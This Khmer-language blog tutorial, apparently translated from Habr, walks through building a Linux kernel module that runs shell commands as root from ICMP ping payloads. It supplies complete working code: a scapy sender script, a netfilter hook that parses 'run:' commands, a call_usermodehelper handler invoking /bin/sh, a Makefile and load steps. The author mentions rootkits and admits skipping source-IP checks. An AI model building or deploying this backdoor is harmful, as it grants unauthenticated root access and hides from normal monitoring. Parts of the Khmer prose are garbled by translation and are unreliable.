TL; αα»αα αααα»ααααα»αααααααααΌαα»αααΊααααααααΉαα’αΆαααΆααααααααΆααΈ ICMP payload αα·αααααα·ααααα·αα½αααΆαα
ααΎαααΆαααΈααα αααααΈααΆ SSH ααααα’αααααΆαααααααα αααααΆααααΆαα’ααααααααααα»α ααΌαααΆααα’ααααΊ
αααααααα α’αααααααααααααα·ααΈ C αααααΆααααα·ααααα ααααα»ααααααααΉαααααα! αααα»αβα’αΆα βααΉαβαα»αβαα βαααα»αβααΆαααβααααβ, ααα»ααααβααΆαβαα·ααααβααΆβαα½αβααΌαβααααΆααααβα ααΆααααα αααααααΊααΆαααααααααααααΆααα’ααααααααΆααααα·αααα»αααααΆααααααΆαααααααααααα·ααΈ C α αΎαα ααααααΎααααααααΆααααα»αααααΈαα»α α
αα
αααα»αααα·ααααααα
ααααΌααααααααα»α
ααΆα/α
αΆα αα
ααααΆα 2020 αααα»αααΆαααΉαααΆα’αααα’αΆα
αααα
αΌαααααα»αααΆαα’αααΎα
α·ααααα
αααα»ααααα
αα ICMP α ααααΊαααΆααα·αααα! α αΎαβαααααΆαβα’αααΈβαα½αβα’αΆα
βααααΌαβααΆαβααααΎβα’αααΈβααΆ αααβααΆβααααΌαβααβααααΎα αααααΆααα
αααα»αααΈαα·ααααα
αΆααααααααααααα»α ααΆαα
αααΎααααα»αααααΎαααααΆααααΆααααααααΆ αα½αααΆααααΆαααα SSH αααα·αααααα ICMP ααΆαα
αΌααααααα»ααααα·ααααααααα»αααΆαα»ααα·αα α αΎαααΎααααΈαααααΌααααα»α bullshield bingo αααααα αααα»αααΆααααααα
α
α·ααααααααααΆααΆαααΌαα»αααΈαα»α
ααΆααΆααΆααααααα»αααααΆααααααΆααααα·αααα»αααα»αααααα αααααααααααΉααα·αα’αΆα
ααΎαααΎααα
αααα»ααααααΈααααααΎαααΆααα α’αααα’αΆα
αααα»αααΆαα
αααα»αααΊααα α αΎαααΆααΉααα·αααΆααα
ααΎααααααααα―αααΆααα α’αααααΉααα·αααΎαα’αααΈααααα½αα±αααααααααα
αααα»ααααααΈααα
αααααααΆααααα αα
αααα»ααααααααααααααααααΆαααααααΆ αααααΊααΆ rootkit αααααα ααα»αααααααα»ααααααΉαααΆααΉααααααα’ααΆ α αΎαααααΎααΆααΆααααααααααΎαα
α»αααααα αα
αααααα Load Average αααααααααααα»αααΆαα
αΌαααΆαααα SSH α αΎαααααα·ααααα·αααΆαα αα
ααΆααα echo i > /proc/sysrq-trigger
ααΎααααΈααααΆαααΆαα
αΌαααααΎαααΆαααααα·αα
αΆαααΆα
αα
αΆααααααΎαα‘αΎααα·αα
ααΎααααααααα·ααΈαα·ααααα’ααααα ααααΆαααααααααααα·ααΈααΆααΌαααααΆααα
αααα»α Python αα·α C, Google αα·α
ααΆαα’αα·αα·αα
ααΆα αΆααααΌα
ααΆαααα»αααΆαααααΆαααααααα’αα·αα·αααααα»αααΉαααααΌααααααααααααΈααααααΆααααα αα 80 αααααΆαα ααα»ααααααΆαααα»αααααααα»αααααααΆαααααΎααΆαααααΆαααααα»α
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show()
ααααααΈαααα’αΆαα»αααααααΈα α’αΆαααααααΆα αα·αααααα»αα αα»ααααααααΎ ααααα»αααααΌαααΆααα»αααααα run:
ααΎαααΉαααααΌαααΆαααΆααΎααααΈαα·αααΆαααααα
αΌααααα
αααααααΆαααααα»αα
αααααα
ααΊαααβααΆαααΆαβαα·αααα·βαααα»αβααΆαβαααααΎαβαααα
αα ααΌα
ααααβααααααΈαβααΉαβααααΌαβααααΎαααΆαβααΆβα’αααβααααΎβααΆαααααααα αα»αααααα
ααααααα·αααα·ααααα·ααααα· αα·αααα‘αΎα scapy αααα½αα―αα Debian ααΆααααα
αααα½αα α
ααΆ python3-scapy
. α₯α‘αΌααααα’αααα’αΆα
αα·αα·αααααΎααααααααααΆααααΎαααΆαααΆααα’ααα
αααα»αααααΎαααΆα αα·ααααα
ααααΆααααααααΆ
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!
αααααΊααΆα’αααΈαααααΆααΎααα
ααΌα
ααΆαα
αααα»α sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
Frame 2: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 45.11.26.232, Dst: 192.168.0.240
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0xde03 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 1]
[Response time: 19.094 ms]
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run:Hello, world
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Length: 17]
^C2 packets captured
ααααα»ααααα»ααααα ααααααΎααααα·αααααΆααααααΌαααα
αααΌαα»αααΊααα
ααΎααααΈααΆαααααααα»ααααΆαααΈααα·αααα·α Debian α’αααααΉαααααΌαααΆααααΆαα αα
ααΆαα make
ΠΈ linux-headers-amd64
αα
αααααΉααααααα»αααααααααααΆαα’αΆαααααα αααα»αααΉααα·αααααααααααΌαααΆααααΌααα
αααα»αα’ααααααα α’αααα’αΆα
ααααΌαααΆαα
ααΎ Github α
ααΆαααα‘αΎαααααα
ααΎααααΈα
αΆααααααΎα ααΎαααααΌαααΆααα»αααΆαααΈα ααΎααααΈαααα»ααααΌαα»α αα·αααΎααααΈααααΆα
ααα αα»αααΆααααααΆααααΆααααα»ααα·αααααΌαααΆαααΆαααΆαααααα»αααααααααΆαααα rmmod
ααΆααΉααα·αααααΎαααΆααα αααΌαα»αααΉααααααααΎαααΆααα
ααααα·αα
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);
ααΎααΆαα’αααΈααΎαα‘αΎααα ααΈαααα
- α―αααΆαααααααΆααΈαααααΌαααΆαααΆαα αΌαααΎααααΈαααα ααααΌαα»ααααα½αααΆ αα·α netfilter α
- ααααα·ααααα·ααΆαααΆααα’ααααααααΆαα netfilter α’αααα’αΆα
αααααααααααα
αααα»αααΆα ααΎααααΈααααΎααΌα
αααα’αααααααΌααααααΆααα
ααΆααααααααααααααααααΉαααααΌαααΆαααααααα
ααΆααααααααα α’αααΈαααααααΆαααααα»αααΊααααΌααααααΆαααα»αααΆααααααΉαααααΌαααΆαααααα·ααααα·ααΆαααααα
nfho.hook = icmp_cmd_executor;
αααα»αβααΉαβααα½αβααΆαβαα»αααΆαβαααα½αβα―αβαααβαααααα
αααααΆαααααααα»αααααααααααααΆααααΎαααΆααααααΆαααααα αααNF_INET_PRE_ROUTING
αααααΆααβααΎααααΈβααααΎαααΆαβαααα ααβαα αααβααΆβαααα αΆαβααααΌαβαααα»αβααΊαααα α’αΆα ααααΎααΆαNF_INET_POST_ROUTING
ααΎααααΈααααΎαααΆααααα ααααααααΆααα αααααΆα ααααΈααΊαααα
αααα»ααααααααααααα IPv4αnfho.pf = PF_INET;
.
αααα»ααααααα’αΆαα·ααΆαααααααααα»ααnfho.priority = NF_IP_PRI_FIRST;
α αΎααααα»αα α»αααααααα ααΆαααααααααα·ααααααααΆααααααα·αααααΆαααnf_register_net_hook(&init_net, &nfho);
- αα»αααΆαα α»αααααααααααααα ααα
- α’αΆααααΆαααααααααΌαααΆαα ααα’α»ααααα αΆααααΆαα αααΆααααΌα ααααααΆα’αααα ααααααα·αααα’αΌαααα’ααα
- α’αα»αααα
module_init()
ΠΈmodule_exit()
ααααααα»αααΆαααααααααααΎααααΈα αΆααααααΎα αα·ααααα αααααΌαα»αα
ααΆαααΆαααααααα»αα‘αΎααα·α
α₯α‘αΌααααααΎαααααΌαααΆααα payload ααααααααα ααΆαα·α αα ααΆαααααααΆααααα»αα ααΊααααα·αααΆααα»αααΆαααααΆααααααΆαα½ααααααΆααααααΎααΆαααΆαα½αααααα»ααα α’αααα’αΆα αααααααααααΆαααα·ααΈααΆαααααα·ααααααααα»αααααα
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == '')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = '';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == '')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}
ααΎβααΆαβααΏαβα’αααΈβααΎαα‘αΎα:
- αααα»αααααΌααααα αΌαα―αααΆαααααααΆαααααα ααΎααααααΎααααΈαααα αααααΆα IP αα·α ICMP α
- αααα»αααααααααααααααααΆααα’αα·ααααΆα
#define MAX_CMD_LEN 1976
. α ααα»α’αααΈααα? αααααβα’αααβα αααααβααα’αΌαααα’ααβααΈβααΆ! αα½αααααΆαααααΎαααααα»ααα½α α αΎαααΆ αααα»αααααΌααααααα’αααΈ stack αα·α heap αα ααααααΆαα½α αααα»ααα·αααΆααΉαααααΎααΆ α αΎααααα ααααΆαααααΆααααααΌααααααα αααα»αααααααααααΆαααααααΉαααΆαααΆααααααααΆααααΆαααchar cmd_string[MAX_CMD_LEN];
. ααΆβαα½αβααβααΎαβααΎαβαα βαααα»αβαα»αααΆαβααΆααβα’αα αααα»αβααΉαβαα·ααΆαβα’αααΈβααΆβαααΆαβαααα’α·αβαα βαααα»αβαααΆαααα 9 α - α₯α‘αΌααααααΎαααααΌαα
αΆααααααΎα (
struct work_struct my_work;
) αα ααΆαααααααα αα·αααααΆααααΆααΆαα½ααα»αααΆααααααααα (DECLARE_WORK(my_work, work_handler);
) αααα»αβααβααΉαβαα·ααΆαβαααααβα’αααΈβααΌαα ααα»βαααβααΆβα αΆαααΆα αβαααα»αβαααΆααααβααΈβααααΆααα½αβα - α₯α‘αΌαααααααα»ααααααΆααα»αααΆααα½α αααααΉαααααΆαααΆαααααα αααααα αα·αα’αΆαα»ααααααααααα½αααααααΌαααΆααααααααα netfilter ααΎαα
αΆααα’αΆααααααααααα»ααααα
skb
. αααααΊααΆ socket buffer αααααΆαα ααΆαααααααααα·ααααααααΆααΌαααααΆααααααΆαααααααΆααααααΆαααΆααα’ααα’αααΈαααα ααααααααΆαα - ααΎααααΈα±αααα»αααΆαααααΎαααΆα α’αααααΉαααααΌαααΆααα
ααΆααααααααααΈα αα·αα’αααααΆα
αααΎα αα½αααΆααα§ααααααααααααΈαα
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0;
- ααΎαα’αΆα
α
αΆααααααΎαααααααααα·ααααΆα ααΎααααΈα±αααααΌαα»αααααΎαααΆα αα·αα
αΆαααΆα
αααΆααααα
ααααααααΆαααααααααα
ααΈ ICMP Echo αα ααΌα
ααααααΎααααααα·ααααααα’αΆαααααααααααΎαα»αααΆααααααααΆααααααΆαα½α α αΎααααα
αααααα
ααααααααΆαααααα·ααααααΆ ICMP αα·ααα·ααααα’αααΌααΆααα’ααα αααα‘αααααα·α
NF_ACCEPT
ααΆααααααΆααΆαααα½ααααααα αα ααα»ααααα’αααααα’αΆα αααααΆαααααα αααααααΆααααα‘αααααα·αNF_DROP
.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }
αααα»ααα·αααΆαααΆαααααα’αααΈαααααΉαααΎαα‘αΎαααααα·αααΆααα·αα·αααααααααΆ IP ααα α ααααααΉααα·α αα½α αααα»ααααααααα»αα’αααΈ C ααααΆαααααα»αααΆ ααΎααααΆαααΆααααα½ααα·αα·ααααααααααα α’αααΈαα½αααααα½αα±αααααααααΆα ααΉαααΎαα‘αΎαα αααα»αβααΉαβααΈαβααΆαβααααα·αβααΎβα’αααβαα·αβα’αα»ααααΆαβα±ααβαααα»αβα’αααΈβααΏαβααα!
- α₯α‘αΌαααααααα
ααααΊααΆαααααααα·αααααΆαααααα’αααααααΌαααΆα α’αααα’αΆα
ααααααα·ααααααααΆαα ααΎααααΆααα»αααΆααααααααΆααααααΆαα½ααα ααααΌαα’αααααααΌαααααααα·α
αα
ααΆαα
αΆααααααΎαααααααα»αα αααααααΌαααΆαααααΎαα
αααααααααα½α α’αααααααΌαααααααα·α
αα
ααΎαααααααααΆ ICMP α αΎαααααΆααααΈααΆαα
ααα αααααααααΆαααα α’αααΈααααααααΆαααααΎαα
ααΆαααααααα
icmph
:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
α α»ααααα ααααααααααΆααααΌαααααααΌααααα α»ααααα ααααααααα»ααα αααα»αskb
ααΌα αααα ααΎαααα½αααΆαααΆαααααααΎαααααααΆααα»αααααα’αααααΈαα ααΆαααααααααααααααΌαααααΆαtail = skb_tail_pointer(skb);
.
ααΌαααΆαααααΌαααΆααα½αααΈααΈααα α’αααα’αΆα α’αΆαααααααα’αααΈααα·ααααααα’αΆααααααααα - αα
ααααααα’αααααΆαα
ααα’α»ααα
ααΎα αα·αα
α»ααααα
αα α’αααα’αΆα
α
αααααα·αααααααα
αααα»αααααα’αααααα½αα
cmd_string
αα·αα·αααααΆαααααΆααααααααΆααααα»αααααrun:
α αΎααααα αααααα ααααααα·αααΎααΆααΆαα α¬ααααααααααΆααααααααα ααααααα»ααααααααα ααα - αααα αΎαααΆααΆ α₯α‘αΌααααα’αααα’αΆα
α α
ααΌαααααααα
α’ααααααααααΆαααααααααα
schedule_work(&my_work);
. αααααΆαβααΆβααΉαβαα·αβα’αΆα βααααβααΆααβαααΆαααΆααααααβαα βααΆαβα α βαααβααα αααααΆααβαααβααΆαβααΆαααβαααααΆβααααΌαβααβααΆβααααschedule_work()
ααΉαααΆαααα»αααΆααααααααΆααααΆαα½ααα ααΆαααααααααααααΆαααααααΆαααα αααα»ααα½αααΌαα αααααααα·ααΈααααααααααΆααα·α αα αα·ααααα αα αααα’αα»ααααΆαα±ααα’ααααα·ααααα αΆαααΆααααααααΆαααα ααα αααααΊα αΆαααΆα αααααααααααααααΌαααααΏαααΆααα ααΎαα·αααΌα αααααα αααααΎαααααα’αααααΊααΆααααΆαα’αααΈααΉαα αΆααααααΎααα α¬α’αααααΉαααα½αααΆαααΆααααααααααααα ααΊαααα ααΆααααααΆαααααΊααΌα ααΆααααΆαα! - αααα αΎαααΆααΆ α’αααα’αΆα ααα½ααααααα ααααΆαα½αααΉαααΆααααα‘αααααα·ααααααααΌαααααΆα
α α βαααααα·ααΈβαααα»αβα αααααβα’αααβααααΎ
αα»αααΆααααααΊα’αΆα
αααααΆααααα»αα αααααααααααΆααααΌαααΆααααααα±αα DECLARE_WORK()
αααααα αα·αα’αΆαα»ααααααααααα½ααααα·ααα½αα±ααα
αΆααα’αΆααααααααα ααΎααααααααΆααααΆαα½αααΆααααααααΆα αΎααααααΌαααΆααΆαααααα»ααα
αααα α’αα»ααααΆαα±ααααΆαααααααααΆαααΆαα½αααΆααα·ααΆα ααααααααααααααααααααΈα αα·αα’αααΈαααααααααα
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}
- αααααα’αΆαα»ααααααα
α’αΆααααααααα’αααα
argv[]
. αααα»αααΉαααααααααΆα’ααααααααααααΆααΉαααΆαααααα·ααΈαα·αααΆααααΌαααΆαααααα·ααααα·ααΆααα·ααΈααα α αΎααα·ααααααΆαααααΆαααααααααααΆαα ααααααααααα - αααααα’αααααα·ααααΆαα αααα»αβααΆαβαααα
αΌαβαα PATH ααΆαα½αβαααα»αβααααΌαβα’αααααααΆ αααβαααααΉαβααΆβααΆβααααΌαβααΆαβαααα
αΌαβααααΆβαα½α
βα αΎαβ
/bin
Ρ/usr/bin
ΠΈ/sbin
Ρ/usr/sbin
. ααααΌαααααααααααααααΆαααΆααααααΆαααααα»αααΆαα’αα»ααααα - αα½α
ααΆααα αΎα ααα! αα»αααΆαααΊααα
call_usermodehelper()
ααα½αααααΆαα αΌαα ααααΌααα ααΆαααααααααααααααΈα α’αΆααααα’αΆαα»ααααα α’αΆααααα’αααααα·ααααΆαα αα ααΈααααααα»αααααααααααΆα’ααααααααααααΆαααααΈα’ααααααααααΆαααααααΆααααααΌααα ααΆααα―αααΆααααα’αΆα ααααα·ααααα·ααΆαααΆα’αΆαα»αααααααΆα ααααα‘αα ααα»ααααα’αααα’αΆα αα½αααΆαα α’αΆαα»αααααα α»αααααααααααΆααααΆααΎααααΌααααα αΆαααααΎαααΆααααα αα (UMH_WAIT_PROC
) ααααΎαααΆαα αΆααααααΎα (UMH_WAIT_EXEC
) α¬αα·ααααα αΆαααΆααααααα (UMH_NO_WAIT
) ααΎβααΆαβααααβαααβαα?UMH_KILLABLE
αααα»ααα·αααΆαααΎαααΆααα
ααααα·ααΆα
ααΆααα½αααααα»αααααΆαααααΌαα»αααΊαααααααΌαααΆαα’αα»ααααααΆααααααααααααααααααΎαααΊαααα ααΆαα α
make
αα
ααΆααααα»ααααα·ααααααααααΆαααα
ααΉαααααααΊααα (ααααααα
ααΈαααα KERNELDIR:=/lib/modules/$(shell uname -r)/build
) α αΎαααΈααΆαααααααααΌαα»αααααΌαααΆααααααΌααα
α’ααα M
αα
αααα»αα’αΆαα»αααααα ααααα
icmpshell.ko αα·αααα’αΆαααααΎααααΆααααααααααααααααΆαααααα»αα IN obj-m
αααα αΆαα―αααΆαααααα»αααααΉαααααΌαααΆαααααααααα
ααΆαααΌαα»αα ααΆαααααααααααααααααααΎαα‘αΎααα·α main.o
Π² icmpshell.o
(icmpshell-objs = main.o
) ααΎαβαα
βαα·αβααβα ααα»βααβαααααΆααβαααα»αβαα ααα»ααααβααααΌαβααΆβα
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = main.o
all: icmpshell.ko
icmpshell.ko: main.c
make -C $(KERNELDIR) M=$(PWD) modules
clean:
make -C $(KERNELDIR) M=$(PWD) clean
ααΎααααααΌαα make
. αααα»ααααα»αα insmod icmpshell.ko
. αα½α
ααΆαα α’αααα’αΆα
αα·αα·αααααΎαα sudo ./send.py 45.11.26.232 "date > /tmp/test"
. ααααα·αααΎα’αααααΆαα―αααΆααα
ααΎαααΆαααΈαααααα’αααα /tmp/test
α αΎαααΆααΆαααΆαααα·α
αααααααααααΎααααΌαααΆαααααΎ αααααΆααααααΆα’αααααΆαααααΎα’αααΈααααααααΆαααααΉαααααΌα α αΎααααα»αααΆαααααΎα’αααΈααααααααΆαααααΉαααααΌαα
ααα ααααΈααααα·ααααΆα
αααα·αααααααααΌααααααααα»αααΆαα½αααΆαα’αα·αααααααα»αααααα’αααααΊααΆααααα½αααΆαααΆαααααΉααα»αα αααααΈααΆααααΆααααα·ααααααααα»αααΆαα’αα·αααααα C ααααααααααΎααΆαααααΆαα
ααααα αα·ααααααα Google ααααα αααα»αα’αΆα
ααααααααΌαα»ααααααααΎααΆα α αΎαααΆαα’αΆααααααααΆααΌα
ααΆα’ααααα½α
ααΎαααΊααα α αΎααααα»αααααααα½α script kiddie α ααΎαααΈαααααααααα»αααΆααα
ααΆααα Kernel Newbies ααΆααααααααααααα»αααααΌαααΆαααααααΆααα±ααααααΎ schedule_work()
αααα½αα±ααααΆαα α
ααΌαααααα call_usermodehelper()
αα
ααΆααααα»αααααααααα½αα―α α αΎαααααΎα±ααααΆααααααΆααα’αα ααααααααΆααΆααΆααααααααΆααα ααΌααα½ααααααααΆααααααΎα±αααααα»αα
αααΆααααα αααα½ααααααΆα αααααΆαα’αα·αααααααα
αααααααααααααααα»αα αααα·ααααααααααααααααΆαααααααΆαααααααΆααααΆαααααα½ααααααααα»αα’αααΈααΆααααα»αααααΆαααααΎααααααααΆαα’αα·ααααααααααααααα
ααααα·αααΎααααΆααααΆαααααααααααααΎααΆααααα½ααα·αα·αααααΌααα ααΎ Github αααα»αααΉαααΉααα»αα αααα»αααααΆααααΆαααα»αααΆαααααΎααα α»αααααααΆα αααΎα ααΆαα·ααααα αααααααΎααΆαααΆαα½αααααα’ααααα
ααααα: www.habr.com